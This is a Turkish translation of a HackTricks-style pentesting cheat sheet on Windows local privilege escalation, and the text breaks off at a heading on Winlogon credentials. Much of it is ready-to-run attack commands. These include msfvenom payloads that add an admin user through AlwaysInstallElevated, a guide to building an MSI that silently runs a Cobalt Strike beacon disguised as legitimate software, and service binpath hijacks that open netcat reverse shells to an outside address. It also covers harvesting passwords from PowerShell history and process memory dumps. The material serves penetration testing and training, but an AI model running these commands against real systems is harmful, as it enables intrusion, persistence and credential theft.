Windows Local Privilege Escalation

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

Windows yerel ayrıcalık yükseltme vektörlerini aramak için en iyi araç: WinPEAS

Başlangıç ​​Windows Teorisi

Erişim Jetonları

Windows Erişim Jetonları nedir bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:

pageAccess Tokens

ACL'ler - DACL'ler/SACL'ler/ACE'ler

ACL'ler - DACL'ler/SACL'ler/ACE'ler hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol edin:

pageACLs - DACLs/SACLs/ACEs

Bütünlük Seviyeleri

Windows'taki bütünlük seviyeleri hakkında bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okumalısınız:

pageIntegrity Levels

Windows Güvenlik Kontrolleri

Windows'ta sistemi numaralandırmanızı engelleyebilecek, yürütülebilir dosyaları çalıştırmanızı veya hatta faaliyetlerinizi tespit etmenizi önleyebilecek farklı şeyler bulunmaktadır. Ayrıcalık yükseltme numaralandırmasına başlamadan önce bu savunma mekanizmalarını okumalı ve tüm bu savunmaları numaralandırmalısınız:

pageWindows Security Controls

Sistem Bilgisi

Sürüm bilgisi numaralandırma

Windows sürümünün bilinen bir güvenlik açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Sürüm Sızıntıları

Bu site, Microsoft güvenlik açıkları hakkında detaylı bilgi aramak için kullanışlıdır. Bu veritabanında 4,700'den fazla güvenlik açığı bulunmaktadır, Windows ortamının sunduğu geniş saldırı yüzeyini göstermektedir.

Sistemde

  • post/windows/gather/enum_patches

  • post/multi/recon/local_exploit_suggester

  • winpeas (Winpeas, watson gömülüdür)

Yerel sistem bilgileri ile

Exploit Github depoları:

Ortam

Ortam değişkenlerinde kaydedilmiş herhangi bir kimlik bilgisi/önemli bilgi var mı?

set
dir env:
Get-ChildItem Env: | ft Key,Value

PowerShell Geçmişi

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Transkript Dosyaları

Bunu nasıl açacağınızı https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ adresinden öğrenebilirsiniz.

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Modül Günlüğü

PowerShell boru hattı yürütmelerinin ayrıntıları kaydedilir, yürütülen komutları, komut çağrılarını ve betik parçalarını kapsar. Bununla birlikte, tam yürütme ayrıntıları ve çıktı sonuçları yakalanmayabilir.

Bunu etkinleştirmek için, belgelerin "Transkript dosyaları" bölümündeki talimatları izleyin ve "Powershell Transcription" yerine "Modül Günlüğü" seçeneğini tercih edin.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Son 15 etkinliği PowersShell günlüklerinden görüntülemek için şunu yürütebilirsiniz:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Komut Bloğu Günlüğü

Komut dosyasının yürütülmesine ilişkin tam bir etkinlik ve içerik kaydı yakalanır, böylece her kod bloğu çalıştırıldığı şekilde belgelenir. Bu süreç, her etkinliğin kapsamlı bir denetim izini korumasını sağlar, bu da adli bilişim ve kötü niyetli davranışların analizi için değerlidir. Yürütme anındaki tüm etkinliklerin belgelenmesiyle, işlem hakkında detaylı içgörüler sağlanır.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Script Block için günlük olaylar, Windows Olay Görüntüleyicisi'nde şu yol üzerinde bulunabilir: Uygulama ve Hizmet Günlükleri > Microsoft > Windows > PowerShell > Operasyonel. Son 20 olayı görüntülemek için şunu kullanabilirsiniz:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

İnternet Ayarları

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Sürücüler

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Eğer güncellemeler http ile değil de httpS kullanılarak istenmiyorsa sistem tehlikeye girebilir.

Aşağıdaki komutu çalıştırarak ağın SSL olmayan WSUS güncellemesi kullandığını kontrol edebilirsiniz:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Eğer şöyle bir yanıt alırsanız:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

Ve eğer HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer değeri 1'e eşitse.

O zaman, saldırılabilir. Eğer son kayıt 0'a eşitse, o zaman WSUS girişi yok sayılacaktır.

Bu zafiyetleri sömürmek için Wsuxploit, pyWSUS gibi araçları kullanabilirsiniz - Bunlar, 'sahte' güncellemeleri non-SSL WSUS trafiğine enjekte etmek için kullanılan MiTM silahlaştırılmış saldırı betikleridir.

Araştırmayı buradan okuyabilirsiniz:

WSUS CVE-2020-1013

Tam raporu buradan okuyun. Temelde, bu hata tarafından sömürülen açık şudur:

Eğer yerel kullanıcı proxy'sini değiştirme yetkimiz varsa ve Windows Güncellemeleri, Internet Explorer'ın ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda PyWSUS'u yerel olarak çalıştırarak kendi trafiğimizi araya sokabilir ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırabiliriz.

Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullanır ve bu nedenle sertifika deposunu kullanır. WSUS ana bilgisayar adı için bir öz imzalı sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini araya sokabiliriz. WSUS, sertifikada güven ilk kullanımda güven türünde bir doğrulama uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilirse ve doğru ana bilgisayar adına sahipse, hizmet tarafından kabul edilecektir.

Bu zafiyeti WSUSpicious aracını kullanarak sömürebilirsiniz (özgür bırakıldığında).

KrbRelayUp

Belirli koşullar altında Windows alan ortamlarında bir yerel ayrıcalık yükseltme zafiyeti bulunmaktadır. Bu koşullar, LDAP imzalamanın zorunlu olmadığı ortamları, kullanıcıların Kaynak Tabanlı Kısıtlanmış Delege (RBCD) yapılandırmasına izin veren kendi haklarına sahip olduğu ve kullanıcıların alan içinde bilgisayarlar oluşturabilme yeteneğine sahip olduğu ortamları içerir. Bu gereksinimlerin, varsayılan ayarlar kullanılarak karşılandığını belirtmek önemlidir.

Sömürüyü bulabilirsiniz https://github.com/Dec0ne/KrbRelayUp

Saldırının akışı hakkında daha fazla bilgi için https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Eğer bu 2 kayıt etkinse (değeri 0x1 ise), herhangi bir ayrıcalığa sahip kullanıcılar *.msi dosyalarını NT AUTHORITY\SYSTEM olarak yükleme (çalıştırma) yapabilir.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit yük yükleri

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Eğer bir meterpreter oturumunuz varsa, bu tekniği exploit/windows/local/always_install_elevated modülünü kullanarak otomatize edebilirsiniz.

PowerUP

Power-up'dan Write-UserAddMSI komutunu kullanarak ayrıcalıkları yükseltmek için mevcut dizine bir Windows MSI ikili dosyası oluşturun. Bu komut dosyası, kullanıcı/grup eklemesi için bir kullanıcıya sormak üzere derlenmiş bir MSI yükleyicisi oluşturur (bu nedenle GIU erişimine ihtiyacınız olacak):

Write-UserAddMSI

MSI Sargısı

Bu araçları kullanarak bir MSI sargısı oluşturmayı öğrenmek için bu kılavuzu okuyun. Sadece komut satırlarını çalıştırmak istiyorsanız bir ".bat" dosyasını sargılayabilirsiniz.

pageMSI Wrapper

WIX ile MSI Oluşturma

pageCreate MSI with WIX

Visual Studio ile MSI Oluşturma

  • Cobalt Strike veya Metasploit ile C:\privesc\beacon.exe konumunda yeni bir Windows EXE TCP yükü oluşturun.

  • Visual Studio'yu açın, Yeni bir proje oluştur'u seçin ve arama kutusuna "kurulumcu" yazın. Kurulum Sihirbazı projesini seçin ve İleri'ye tıklayın.

  • Projeye AlwaysPrivesc gibi bir ad verin, konum olarak C:\privesc'yi kullanın, çözümü ve projeyi aynı dizine yerleştir seçeneğini işaretleyin ve Oluştur'a tıklayın.

  • İleri'ye tıklayarak devam edin ve 4 adımlı işlemde 3. adıma gelene kadar devam edin (dahil edilecek dosyaları seçin). Ekle'ye tıklayın ve oluşturduğunuz Beacon yükünü seçin. Sonra Bitir'e tıklayın.

  • Çözüm Gezgini'nde AlwaysPrivesc projesini vurgulayın ve Özellikler'de Hedef Platform'u x86 yerine x64 olarak değiştirin.

  • Kurulan uygulamayı daha meşru gösterebilecek Yazar ve Üretici gibi diğer özellikleri değiştirebilirsiniz.

  • Projeye sağ tıklayın ve Görünüm > Özel Eylemler'i seçin.

  • Yükle'ye sağ tıklayın ve Özel Eylem Ekle'yi seçin.

  • Uygulama Klasörü üzerine çift tıklayın, beacon.exe dosyanızı seçin ve Tamam'a tıklayın. Bu, kurulumcu çalıştırıldığında beacon yükünün hemen yürütülmesini sağlar.

  • Özel Eylem Özellikleri'nde Run64Bit'i True olarak değiştirin.

  • Son olarak, derleyin.

  • `Dosya 'beacon-tcp.exe', 'x86' hedef platformuyla uyumlu değil' uyarısı görüntülenirse, platformu x64 olarak ayarladığınızdan emin olun.

MSI Kurulumu

Kötücül .msi dosyasının arkaplanda kurulumunu çalıştırmak için:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Bu zafiyeti sömürmek için şunu kullanabilirsiniz: exploit/windows/local/always_install_elevated

Antivirüs ve Algılayıcılar

Denetim Ayarları

Bu ayarlar neyin günlüğe kaydedildiğini belirler, bu yüzden dikkat etmelisiniz

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, günlüklerin nereye gönderildiğini bilmek açısından ilginçtir

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS, yerel Yönetici şifrelerinin yönetimi için tasarlanmış olup, her şifrenin alan adına katılan bilgisayarlarda benzersiz, rastgele ve düzenli olarak güncellendiğinden emin olur. Bu şifreler Active Directory içinde güvenli bir şekilde depolanır ve yalnızca ACL'ler aracılığıyla yeterli izinleri verilen kullanıcılar tarafından erişilebilir, bunlar da yetkilendirilmişse yerel yönetici şifrelerini görebilirler.

pageLAPS

WDigest

Eğer etkinse, düz metin şifreleri LSASS'ta (Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti) depolanır. WDigest hakkında daha fazla bilgi için bu sayfaya bakın.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Koruma

Windows 8.1 ile başlayarak, Microsoft, yerel Güvenlik Otoritesi (LSA)'nın belleğini okumaya veya kod enjekte etmeye çalışan güvensiz işlemleri engellemek için geliştirilmiş bir koruma tanıttı, böylece sistem daha da güvenli hale getirildi. Daha fazla LSA Koruma bilgisi için buraya tıklayın.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Kimlik Bilgileri Koruma

Kimlik Bilgileri Koruma, Windows 10'da tanıtıldı. Amacı, bir cihazda saklanan kimlik bilgilerini geçiş anahtarını kullanarak yapılan saldırılar gibi tehditlere karşı korumaktır.| Kimlik Bilgileri Koruma hakkında daha fazla bilgi burada.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Önbelleğe Alınmış Kimlik Bilgileri

Alan kimlik bilgileri, Yerel Güvenlik Otoritesi (LSA) tarafından doğrulanır ve işletim sistemi bileşenleri tarafından kullanılır. Bir kullanıcının oturum açma verileri, kayıtlı bir güvenlik paketi tarafından doğrulandığında, genellikle kullanıcı için alan kimlik bilgileri oluşturulur. Önbelleğe Alınmış Kimlik Bilgileri hakkında daha fazla bilgi için buraya tıklayın.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Kullanıcılar ve Gruplar

Kullanıcıları ve Grupları Sıralama

İlgili izinlere sahip olabileceğiniz grupları kontrol etmelisiniz.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Ayrıcalıklı gruplar

Eğer bir ayrıcalıklı gruba ait iseniz ayrıcalıkları yükseltebilirsiniz. Ayrıcalıklı gruplar hakkında bilgi edinin ve ayrıcalıkları yükseltmek için nasıl kötüye kullanabileceğinizi buradan öğrenin:

pagePrivileged Groups

Token manipülasyonu

Daha fazla bilgi edinmek için bu sayfada token nedir: Windows Tokens. İlgili tokenlar hakkında bilgi edinmek ve nasıl kötüye kullanabileceğinizi öğrenmek için aşağıdaki sayfayı kontrol edin:

pageAbusing Tokens

Giriş yapmış kullanıcılar / Oturumlar

qwinsta
klist sessions

Ev klasörleri

dir C:\Users
Get-ChildItem C:\Users

Parola Politikası

net accounts

Pano içeriğini alma

powershell -command "Get-Clipboard"

Çalışan İşlemler

Dosya ve Klasör İzinleri

İlk olarak, işlemleri listele ve işlemin komut satırında parolaları kontrol et. Eğer bazı çalışan ikili dosyaları üzerine yazabilir veya ikili dosya klasöründe yazma izinleriniz varsa, olası DLL Hijacking saldırılarını kullanarak zafiyetleri sömürüp sömüremeyeceğinizi kontrol edin:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Her zaman çalışan olası electron/cef/chromium hata ayıklayıcılarını kontrol edin, ayrıcalıkları yükseltmek için kötüye kullanabilirsiniz.

İşlem ikili dosyalarının izinlerini kontrol etme

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

İşlem ikili dosyalarının klasörlerinin izinlerini kontrol etme (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Bellek Şifre Madenciliği

Sysinternals'den procdump kullanarak çalışan bir işlemin belleğini oluşturabilirsiniz. FTP gibi hizmetlerde şifreler açık metin olarak bellekte bulunur, belleği dökerek şifreleri okumaya çalışın.

procdump.exe -accepteula -ma <proc_name_tasklist>

Güvensiz GUI uygulamaları

SISTEM olarak çalışan uygulamalar bir kullanıcının CMD başlatmasına veya dizinleri gezmesine izin verebilir.

Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" arayın, "Komut İstemi'ni Açmak İçin Tıklayın" üzerine tıklayın

Hizmetler

Hizmet listesini al:

net start
wmic service list brief
sc query
Get-Service

İzinler

Bir hizmetin bilgilerini almak için sc komutunu kullanabilirsiniz

sc qc <service_name>

Binary accesschk'e Sysinternals 'dan erişmek, her bir servis için gerekli olan ayrıcalık seviyesini kontrol etmek için önerilir.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Önerilen, "Authenticated Users"ın herhangi bir hizmeti değiştirip değiştiremeyeceğini kontrol etmektir:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

XP için accesschk.exe'yi buradan indirebilirsiniz

Hizmeti Etkinleştir

Eğer bu hatayla karşılaşıyorsanız (örneğin SSDPSRV ile):

1058 sistem hatası oluştu. Hizmet başlatılamıyor, ya devre dışı bırakıldığı için ya da ona bağlı etkin cihazlar yoktur.

Etkinleştirebilirsiniz:

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Hizmet upnphost'un çalışması için SSDPSRV hizmetine bağımlı olduğunu unutmayın (XP SP1 için)

Bu sorunun başka bir çözümü şudur:

sc.exe config usosvc start= auto

Hizmet ikili yolu değiştirme

"Kimlik doğrulanmış kullanıcılar" grubunun bir hizmet üzerinde SERVICE_ALL_ACCESS yetkisine sahip olduğu senaryoda, hizmetin yürütülebilir ikilisinin değiştirilmesi mümkündür. sc'yi değiştirmek ve yürütmek için:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Servisi yeniden başlatma

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Ayrıcalıklar çeşitli izinler aracılığıyla yükseltilebilir:

  • SERVICE_CHANGE_CONFIG: Hizmet ikili dosyasının yeniden yapılandırılmasına izin verir.

  • WRITE_DAC: İzin yeniden yapılandırmayı etkinleştirir, bu da hizmet yapılandırmalarını değiştirme yeteneğine yol açar.

  • WRITE_OWNER: Sahiplik edinme ve izin yeniden yapılandırmaya izin verir.

  • GENERIC_WRITE: Hizmet yapılandırmalarını değiştirme yeteneğini devralır.

  • GENERIC_ALL: Ayrıca hizmet yapılandırmalarını değiştirme yeteneğini devralır.

Bu zafiyetin tespiti ve istismarı için exploit/windows/local/service_permissions kullanılabilir.

Hizmet ikili dosyalarının zayıf izinleri

Hizmet tarafından yürütülen ikili dosyayı değiştirebileceğinizi kontrol edin veya ikili dosyanın bulunduğu klasörde yazma izinlerinizin olup olmadığını kontrol edin (DLL Hijacking). wmic kullanarak (system32'de değil) hizmet tarafından yürütülen her ikili dosyayı alabilir ve icacls kullanarak izinlerinizi kontrol edebilirsiniz:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Ayrıca sc ve icacls komutlarını kullanabilirsiniz:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Hizmetler kayıt defteri değiştirme izinleri

Herhangi bir hizmet kayıt defterini değiştirip değiştiremeyeceğinizi kontrol etmelisiniz. Bir hizmet kayıt defteri üzerindeki izinlerinizi kontrol edebilirsiniz:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Authenticated Users veya NT AUTHORITY\INTERACTIVE'in FullControl izinlerine sahip olup olmadığı kontrol edilmelidir. Eğer öyleyse, hizmet tarafından yürütülen ikili dosya değiştirilebilir.

Yürütülen ikili dosyanın Yolunu değiştirmek için:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Hizmetler kayıt defteri AppendData/AddSubdirectory izinleri

Bir kayıt defteri üzerinde bu izne sahipseniz, bu demek oluyor ki bu kayıttan alt kayıtlar oluşturabilirsiniz. Windows hizmetleri durumunda bu, keyfi kodu yürütmek için yeterlidir:

pageAppendData/AddSubdirectory permission over service registry

Tırnak İçermeyen Hizmet Yolları

Bir yürütülebilir dosyanın yolu tırnak içinde değilse, Windows her boşluktan önce biten her şeyi yürütmeye çalışacaktır.

Örneğin, C:\Program Files\Some Folder\Service.exe yolu için Windows, şunları yürütmeye çalışacaktır:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Tüm dahili Windows hizmetlerine ait olmayan tırnak içinde olmayan hizmet yollarını listeleyin:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Bu zafiyeti metasploit ile tespit edebilir ve sömürebilirsiniz: exploit/windows/local/trusted\_service\_path Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Kurtarma İşlemleri

Windows, bir hizmet başarısız olduğunda alınacak adımların belirlenmesine izin verir. Bu özellik bir ikili dosyaya işaret etmek üzere yapılandırılabilir. Bu ikili dosya değiştirilebilirse, ayrıcalık yükseltme mümkün olabilir. Daha fazla ayrıntıya resmi belgelerde ulaşılabilir.

Uygulamalar

Yüklü Uygulamalar

İkili dosyaların izinlerini kontrol edin (belki birini üzerine yazabilir ve ayrıcalıkları yükseltebilirsiniz) ve dizinlerin izinlerini (DLL Kaldırma) kontrol edin.

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Yazma İzinleri

Bazı yapılandırma dosyalarını değiştirip özel bir dosyayı okuyup okuyamayacağınızı veya bir Yönetici hesabı tarafından yürütülecek bir ikili dosyayı değiştirip değiştiremeyeceğinizi kontrol edin (schedtasks).

Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu şöyledir:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Başlangıçta çalıştır

Farklı bir kullanıcı tarafından çalıştırılacak bir kayıt defteri veya ikili dosyayı üzerine yazabileceğinizi kontrol edin. Ayrıcalıkları yükseltmek için ilginç otomatik çalıştırma konumları hakkında daha fazla bilgi edinmek için aşağıdaki sayfayı okuyun:

pagePrivilege Escalation with Autoruns

Sürücüler

Mümkün üçüncü taraf garip/korunmasız sürücüler arayın

driverquery
driverquery.exe /fo table
driverquery /SI

YOL DLL Kaçırma

Eğer PATH'te bulunan bir klasörde yazma izinleriniz varsa, bir süreç tarafından yüklenen bir DLL'yi kaçırabilir ve yetkileri yükseltebilirsiniz.

PATH içindeki tüm klasörlerin izinlerini kontrol edin:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Bu denetimi nasıl kötüye kullanacağınız hakkında daha fazla bilgi için:

pageWritable Sys Path +Dll Hijacking Privesc

Paylaşımlar

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts dosyası

Diğer bilinen bilgisayarları hosts dosyasında sabitlenmiş olarak kontrol edin

type C:\Windows\System32\drivers\etc\hosts

Ağ Arayüzleri ve DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Açık Portlar

Dışarıdan kısıtlanmış servisleri kontrol edin

netstat -ano #Opened ports?

Yönlendirme Tablosu

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP Tablosu

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Güvenlik Duvarı Kuralları

Güvenlik duvarı ile ilgili komutlar için bu sayfaya bakın (kuralları listele, kurallar oluştur, kapat, kapat...)

Daha fazla ağ taraması komutu burada

Windows Alt Sistemi Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exe ayrıca C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe konumunda bulunabilir.

Root kullanıcısına erişirseniz herhangi bir porta dinleyebilirsiniz (nc.exe'yi ilk kez bir porta dinlemek için kullandığınızda, güvenlik duvarı tarafından nc'nin izin verilip verilmeyeceği GUI aracılığıyla sorulacaktır).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Bash'ı kolayca root olarak başlatmak için --default-user root komutunu deneyebilirsiniz.

WSL dosya sistemini C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ klasöründe keşfedebilirsiniz.

Windows Kimlik Bilgileri

Winlogon Kimlik Bilgileri

